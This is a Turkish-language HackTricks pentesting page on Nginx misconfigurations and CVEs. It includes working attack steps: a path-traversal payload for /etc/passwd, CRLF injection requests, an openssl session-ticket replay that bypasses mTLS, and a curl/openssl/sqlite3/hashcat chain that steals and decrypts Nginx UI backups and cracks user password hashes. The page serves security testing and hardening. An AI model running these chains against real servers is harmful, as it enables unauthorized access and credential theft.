Nginx

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Eksik root location

Nginx sunucusunu yapılandırırken, root directive dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği düşünün:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Bu yapılandırmada, /etc/nginx root dizini olarak atanmıştır. Bu kurulum, /hello.txt gibi belirtilen root dizini içindeki dosyalara erişime izin verir. Ancak, yalnızca belirli bir location (/hello.txt) tanımlı olduğunu not etmek önemlidir. Root location (location / {...}) için herhangi bir yapılandırma yoktur. Bu eksiklik, root directive’in global olarak uygulanması anlamına gelir ve / root path’ine yapılan isteklerin /etc/nginx altındaki dosyalara erişmesini sağlar.

Bu yapılandırmadan kritik bir security consideration ortaya çıkar. GET /nginx.conf gibi basit bir GET request, /etc/nginx/nginx.conf konumundaki Nginx configuration file’ını sunarak sensitive information ifşa edebilir. Root’u /etc gibi daha az sensitive bir dizine ayarlamak bu riski azaltabilir, ancak yine de diğer configuration files, access logs ve hatta HTTP basic authentication için kullanılan encrypted credentials dahil olmak üzere diğer kritik dosyalara istenmeyen erişime izin verebilir.

Alias LFI Misconfiguration

Nginx’in configuration file’larında, “location” directive’lerinin dikkatle incelenmesi gerekir. Aşağıdakine benzeyen bir configuration üzerinden Local File Inclusion (LFI) olarak bilinen bir vulnerability istemeden ortaya çıkabilir:

location /imgs {
alias /path/images/;
}

Bu yapılandırma, sunucunun /imgs../flag.txt gibi istekleri /path/images/../flag.txt olarak çözümlenmiş şekilde, amaçlanan dizinin dışındaki dosyalara erişme girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır. Bu kusur, saldırganların web üzerinden erişilmemesi gereken sunucu dosya sistemindeki dosyaları elde etmesine olanak tanır.

Bu güvenlik açığını azaltmak için yapılandırma şu şekilde ayarlanmalıdır:

location /imgs/ {
alias /path/images/;
}

Daha fazla bilgi: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix tests:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Güvensiz path kısıtlaması

Aşağıdaki sayfayı, şu gibi direktifleri nasıl bypass edeceğini öğrenmek için kontrol et:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Unsafe variable use / HTTP Request Splitting

Caution

Vulnerable variables $uri ve $document_uri ve bu, bunları $request_uri ile değiştirerek düzeltilebilir.

Bir regex de şu şekilde vulnerable olabilir:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (boşlukları kontrol ediyor)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Nginx yapılandırmasındaki bir vulnerability aşağıdaki örnekte gösterilmektedir:

location / {
return 302 https://example.com$uri;
}

\r (Carriage Return) ve \n (Line Feed) karakterleri, HTTP isteklerinde yeni satır karakterlerini ifade eder ve URL-encoded formları %0d%0a olarak gösterilir. Bu karakterleri bir isteğe eklemek (ör. http://localhost/%0d%0aDetectify:%20clrf) yanlış yapılandırılmış bir sunucuya gönderildiğinde, sunucunun Detectify adlı yeni bir header oluşturmasına neden olur. Bunun nedeni, $uri değişkeninin URL-encoded yeni satır karakterlerini decode etmesi ve response içinde beklenmeyen bir header oluşmasıdır:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

CRLF injection ve response splitting riskleri hakkında daha fazla bilgi için https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/ adresine bakın.

Ayrıca bu teknik, bazı zafiyetli örnekler ve dectection mekanizmalarıyla birlikte bu konuşmada açıklanıyor. Örneğin, blackbox perspektifinden bu yanlış yapılandırmayı tespit etmek için şu istekleri gönderebilirsiniz:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

Eğer zafiyet varsa, ilki “X” herhangi bir HTTP method olduğu için yanıt döner; ikincisi ise H geçerli bir method olmadığı için bir hata döner. Böylece server şuna benzer bir şey alır: GET / H HTTP/1.1 ve bu da hatayı tetikler.

Başka bir tespit örneği:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

O konuşmada sunulan bazı zafiyetli configuration örnekleri şunlardı:

  • Final URL’de $uri’nin olduğu gibi ayarlanmasına dikkat edin
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Dikkat edin, $uri yine URL içinde (bu sefer bir parametrenin içinde)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Şimdi AWS S3’te
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

user-supplied data belirli koşullar altında bir Nginx variable olarak işlenebileceği keşfedildi. Bu davranışın nedeni tam olarak net değildir, ancak bu durum ne nadirdir ne de doğrulanması kolaydır. Bu anomali, HackerOne’daki bir security report içinde vurgulandı; buradan görüntülenebilir here. Hata mesajı üzerinde yapılan daha ileri inceleme, bunun Nginx codebase içindeki SSI filter module of Nginx’s codebase içinde gerçekleştiğini ortaya çıkardı ve Server Side Includes (SSI) bunun kök nedeni olarak belirlendi.

Bu misconfiguration’ı detect etmek için, variable printing test etmek amacıyla referer header ayarlamayı içeren aşağıdaki command çalıştırılabilir:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Bu yanlış yapılandırma için sistemler genelinde yapılan taramalar, Nginx değişkenlerinin bir kullanıcı tarafından yazdırılabildiği birden fazla örnek ortaya çıkardı. Ancak, savunmasız örneklerin sayısındaki azalma, bu sorunu yamalamaya yönelik çabaların bir ölçüde başarılı olduğunu gösteriyor.

$URI$ARGS değişkenleri ile try_files kullanımı

Aşağıdaki Nginx yanlış yapılandırması bir LFI zafiyetine yol açabilir:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Konfigürasyonumuzda, belirtilen sırayla dosyaların varlığını kontrol etmek için kullanılan try_files directive’imiz var. Nginx, bulduğu ilk dosyayı server eder. try_files directive’inin temel syntax’i aşağıdaki gibidir:

try_files file1 file2 ... fileN fallback;

Nginx, belirtilen sırayla her dosyanın varlığını kontrol eder. Bir dosya mevcutsa, hemen sunulur. Belirtilen dosyalardan hiçbiri mevcut değilse, istek fallback seçeneğine iletilir; bu seçenek başka bir URI veya belirli bir error page olabilir.

However, bu direktifte $uri$args değişkenleri kullanıldığında, Nginx request URI ile herhangi bir query string argümanının birleşimine uyan bir dosya aramaya çalışır. Therefore bu yapılandırmayı exploit edebiliriz:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Şu payload ile:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Payload’umuzu kullanarak root dizininden (Nginx yapılandırmasında tanımlı) çıkacağız ve /etc/passwd dosyasını yükleyeceğiz. Debug loglarda Nginx’in dosyaları nasıl denediğini gözlemleyebiliriz:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

Yukarıdaki yapılandırma kullanılarak Nginx against PoC: Example burp request

Raw backend response reading

Nginx, proxy_pass üzerinden backend tarafından üretilen hataların ve HTTP headers’ın interception edilmesini sağlayan bir özellik sunar; amaç, dahili error mesajlarını ve headers’ı gizlemektir. Bu, Nginx’in backend hatalarına yanıt olarak özel error pages sunmasıyla gerçekleştirilir. Ancak Nginx geçersiz bir HTTP request ile karşılaştığında sorunlar ortaya çıkar. Böyle bir request, alındığı haliyle backend’e iletilir ve backend’in raw response’u, Nginx’in müdahalesi olmadan doğrudan client’a gönderilir.

uWSGI application içeren örnek bir senaryoyu düşünün:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Bunu yönetmek için, Nginx yapılandırmasında belirli directives kullanılır:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Bu direktif, Nginx’in backend yanıtları için durum kodu 300’den büyük olduğunda özel bir yanıt sunmasını sağlar. Bu, örneğimizdeki uWSGI application için bir 500 Error yanıtının Nginx tarafından intercept edilip işlenmesini sağlar.
  • proxy_hide_header: Adından da anlaşılacağı gibi, bu direktif belirtilen HTTP headers’ları istemciden gizler ve gizlilik ile güvenliği artırır.

Geçerli bir GET request yapıldığında, Nginx bunu normal şekilde işler ve herhangi bir secret header açığa çıkarmadan standart bir error response döndürür. Ancak geçersiz bir HTTP request bu mekanizmayı bypass eder; bunun sonucunda secret headers ve error messages dahil ham backend yanıtları açığa çıkar.

merge_slashes set to off

Varsayılan olarak, Nginx’in merge_slashes directive değeri on olarak ayarlanmıştır ve URL içindeki birden fazla eğik çizgiyi tek bir slash’a sıkıştırır. Bu özellik URL işleme sürecini sadeleştirse de, Nginx arkasındaki application’larda, özellikle local file inclusion (LFI) saldırılarına yatkın olanlarda, istemeden açıkları gizleyebilir. Security experts Danny Robinson and Rotem Bar, bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamıştır; özellikle Nginx bir reverse-proxy olarak çalıştığında.

Bu tür riskleri azaltmak için, bu açıkları taşıma ihtimali olan application’larda merge_slashes directive ayarını off yapmak önerilir. Bu, Nginx’in request’leri URL yapısını değiştirmeden application’a iletmesini sağlar ve böylece alttaki security sorunlarını gizlemez.

Daha fazla bilgi için Danny Robinson and Rotem Bar kısmına bakın.

Maclicious Response Headers

bu writeup içinde gösterildiği gibi, web server yanıtında bulunmaları halinde Nginx proxy’nin davranışını değiştiren belirli headers vardır. Bunları docs içinde kontrol edebilirsiniz:

  • X-Accel-Redirect: Nginx’e bir request’i belirtilen bir konuma internal redirect etmesini söyler.
  • X-Accel-Buffering: Nginx’in yanıtı buffer edip etmeyeceğini kontrol eder.
  • X-Accel-Charset: X-Accel-Redirect kullanılırken yanıt için character set’i ayarlar.
  • X-Accel-Expires: X-Accel-Redirect kullanılırken yanıt için expiration time’ı ayarlar.
  • X-Accel-Limit-Rate: X-Accel-Redirect kullanılırken yanıtların transfer rate’ini sınırlar.

Örneğin, X-Accel-Redirect header’ı nginx içinde bir internal redirect oluşturur. Yani root / gibi bir nginx configuration ile web server’dan gelen X-Accel-Redirect: .env yanıtı, nginx’in /.env içeriğini göndermesine neden olur (Path Traversal).

Default Value in Map Directive

Nginx configuration içinde, map directive’i çoğu zaman authorization control rolü oynar. Yaygın bir hata, bir default değer belirtmemektir; bu da yetkisiz erişime yol açabilir. Örneğin:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

default olmadan, kötü niyetli bir kullanıcı /map-poc içindeki tanımsız bir URI’ye erişerek güvenliği aşabilir. Nginx manual, bu tür sorunları önlemek için bir default value ayarlanmasını tavsiye eder.

DNS Spoofing Vulnerability

Belirli koşullar altında Nginx’e karşı DNS spoofing mümkündür. Bir saldırgan, Nginx tarafından kullanılan DNS server’ı biliyorsa ve DNS sorgularını araya girip yakalayabiliyorsa, DNS kayıtlarını spoof edebilir. Ancak bu yöntem, Nginx localhost (127.0.0.1) kullanacak şekilde yapılandırılmışsa DNS resolution için etkisizdir. Nginx, aşağıdaki gibi bir DNS server belirtmeye izin verir:

resolver 8.8.8.8;

proxy_pass ve internal Directives

proxy_pass directive, requests’i diğer server’lara yönlendirmek için kullanılır; ister internal ister external olsun. internal directive, belirli locations’ın yalnızca Nginx içinden erişilebilir olmasını sağlar. Bu directives tek başına vulnerabilities olmasa da, security açıklarını önlemek için configuration’larının dikkatle incelenmesi gerekir.

proxy_set_header Upgrade & Connection

Eğer nginx server, Upgrade ve Connection headers’ını iletecek şekilde configured ise, protected/internal endpoints’e erişmek için bir h2c Smuggling attack gerçekleştirilebilir.

Caution

Bu vulnerability, bir attacker’ın proxy_pass endpoint’iyle doğrudan bir connection kurmasına izin verir (http://backend:9999 bu durumda); içeriği nginx tarafından kontrol edilmeyecektir.

Burada /flag çalmak için vulnerable configuration örneği:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

proxy_pass belirli bir path’e işaret ediyor olsa bile, örneğin http://backend:9999/socket.io, bağlantı http://backend:9999 ile kurulur, böylece o internal endpoint içindeki başka herhangi bir path’e erişebilirsin. Yani proxy_pass URL’sinde bir path belirtilmiş olması önemli değildir.

HTTP/3 QUIC module remote DoS & leak (2024)

2024 boyunca Nginx, CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 ve CVE-2024-35200 açıklarını duyurdu; bunlar, deneysel ngx_http_v3_module derlenmişse ve bir listen ... quic socket’i exposed durumdaysa, tek bir hostile QUIC session’ın worker process’leri crash ettirebileceğini veya memory leak yapabileceğini gösterdi. Etkilenen build’ler 1.25.0–1.25.5 ve 1.26.0’dır; 1.27.0/1.26.1 ise düzeltmeleri içerir. Memory disclosure (CVE-2024-34161) ayrıca hassas veriyi ortaya çıkarmak için 4096 bayttan büyük MTU’lar gerektirir (detaylar aşağıda referans verilen 2024 nginx advisory’de).

Recon & exploitation hints

  • HTTP/3 varsayılan olarak etkin değildir, bu yüzden Alt-Svc: h3=":443" yanıtlarını tara veya UDP/443 QUIC handshake’lerini brute-force et; doğrulandıktan sonra, worker crash’lerini tetiklemek ve log leakage zorlamak için handshake ve STREAM frame’lerini özel quiche-client/nghttp3 payload’larıyla fuzz et.
  • Hedef desteğini hızlıca parmak iziyle belirlemek için:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Şubat 2025 tarihli bir advisory, OpenSSL ile derlenmiş nginx 1.11.4–1.27.3 sürümlerinin bir TLS 1.3 session’ını bir name-based virtual host’tan diğerine yeniden kullanmaya izin verdiğini açıkladı; böylece certificate-free bir host ile negotiation yapan bir client, ticket/PSK’yi replay ederek ssl_verify_client on; ile korunan bir vhost’a atlayabilir ve mTLS’yi tamamen atlayabilir. Bug, birden fazla virtual host aynı TLS 1.3 session cache ve tickets’ı paylaştığında tetiklenir (aşağıda referans verilen 2025 nginx advisory’ye bakın).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Hedef savunmasızsa, ikinci handshake bir client certificate sunmadan tamamlanır ve protected locations ortaya çıkar.

Neleri audit etmeli

  • ssl_session_cache shared:SSL ile birlikte ssl_session_tickets on; paylaşan karışık server_name blokları.
  • mTLS bekleyen ama public host’lardan shared session cache/ticket ayarlarını miras alan admin/API blokları.
  • TLS 1.3 session resumption’u global olarak etkinleştiren otomasyonlar (ör. Ansible roller), vhost izolasyonunu dikkate almadan.

HTTP/2 Rapid Reset dayanıklılığı (CVE-2023-44487 davranışı)

HTTP/2 Rapid Reset saldırısı (CVE-2023-44487), operatörler keepalive_requests veya http2_max_concurrent_streams değerlerini varsayılanların üzerine çıkardığında nginx’i hâlâ etkiler: saldırgan bir HTTP/2 bağlantısı açar, bunu binlerce stream ile doldurur, ardından hemen RST_STREAM frame’leri gönderir; böylece concurrency sınırına hiç ulaşılmazken CPU tear-down logic üzerinde yanmaya devam eder. Nginx varsayılanları (128 concurrent streams, 1000 keepalive requests) blast radius’u küçük tutar; bu limitleri “substantially higher” seviyelere çıkarmak, tek bir client’tan bile worker’ları aç bırakmayı kolaylaştırır (aşağıda referans verilen F5 yazısına bakın).

Detection ipuçları

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Bu direktifler için alışılmadık derecede yüksek değerler açığa vuran hostlar birincil hedeflerdir: bir HTTP/2 client, stream oluşturma ve anlık RST_STREAM frame’leri arasında döngü kurarak concurrency cap’e takılmadan CPU’yu sabit yüksek kullanımda tutabilir.

Nginx UI pre-auth backup export + crypto material leakage

Nginx UI nginx daemon’ın kendisinden ayrı bir admin panelidir. Nginx UI < 2.3.3 sürümünde, backup export endpoint’ine authentication olmadan erişilebilir ve response ayrıca X-Backup-Security header’ı üzerinden backup’ı decrypt etmek için gereken AES-256-CBC key ve IV bilgisini de leak edebilir. Bu, “encrypted backup download” işlemini anında credential / token / private-key disclosure durumuna çevirir.

SPA assets üzerinden hızlı version fingerprinting

Eğer login page JS-ağırlıklı bir SPA ise, ana bundle’ı / üzerinden çekin ve özel bir version chunk arayın:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Savunmasız Nginx UI derlemelerinde bu genellikle const t="2.3.2" gibi bir literal döndürür; bu da doğrulama yapmadan önce savunmasız aralığı eşleştirmek için yeterlidir.

Exposed API endpoints’i kontrol et ve backup’ı çek

Çoğu /api/* route’u 403 döndürse bile, backup-style endpoint’leri doğrudan test edin:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Eğer zafiyet varsa, X-Backup-Security base64(key):base64(iv) içerir. Her iki değeri de decode edin ve beklenen uzunlukları doğrulayın (32-byte key, 16-byte IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Şifre çözme işleminden sonra, kurtarılan nginx konfigürasyonlarını ve Nginx UI uygulama verilerini inceleyin. Yaygın bir post-exploitation yolu şudur:

  • nginx_dec.zip içinden reverse-proxy ve vhost detaylarını çıkarın
  • nginx-ui_dec.zip içinde app.ini, database.db, API token’ları veya certificate materyalini inceleyin
  • SQLite users tablosunu dump edin ve kurtarılan password hash’lerini offline crack edin
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

This pattern başka admin ürünlerinde de test etmeye değer: kimliği doğrulanmamış bir “encrypted” export, eğer response decryption material’ı sızdırıyorsa veya onu archive ile birlikte saklıyorsa, yine plaintext disclosure’dır.

Try it yourself

Detectify, bu makalede tartışılan bazı misconfigurations ile kendi vulnerable Nginx test server’ınızı Docker kullanarak kurabileceğiniz ve bunları kendiniz bulmayı deneyebileceğiniz bir GitHub repository oluşturdu!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (GIXY’nin güncellenmiş bir fork’u) Nginx configurations’larını analiz etmek için bir tool’dur; amacı vulnerabilities, insecure directives ve risky misconfigurations bulmaktır. Ayrıca performance’ı etkileyen misconfigurations’ları da bulur ve kaçırılmış hardening fırsatlarını tespit ederek otomatik flaw detection sağlar.
  • gixy-ng (aktif olarak bakımı yapılan GIXY fork’u) Nginx configurations’larını analiz etmek için bir tool’dur; amacı vulnerabilities, insecure directives ve risky misconfigurations bulmaktır. Ayrıca performance’ı etkileyen misconfigurations’ları da bulur ve kaçırılmış hardening fırsatlarını tespit ederek otomatik flaw detection sağlar.

Nginxpwner

Nginxpwner, yaygın Nginx misconfigurations ve vulnerabilities bulmak için basit bir tool’dur.

References

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin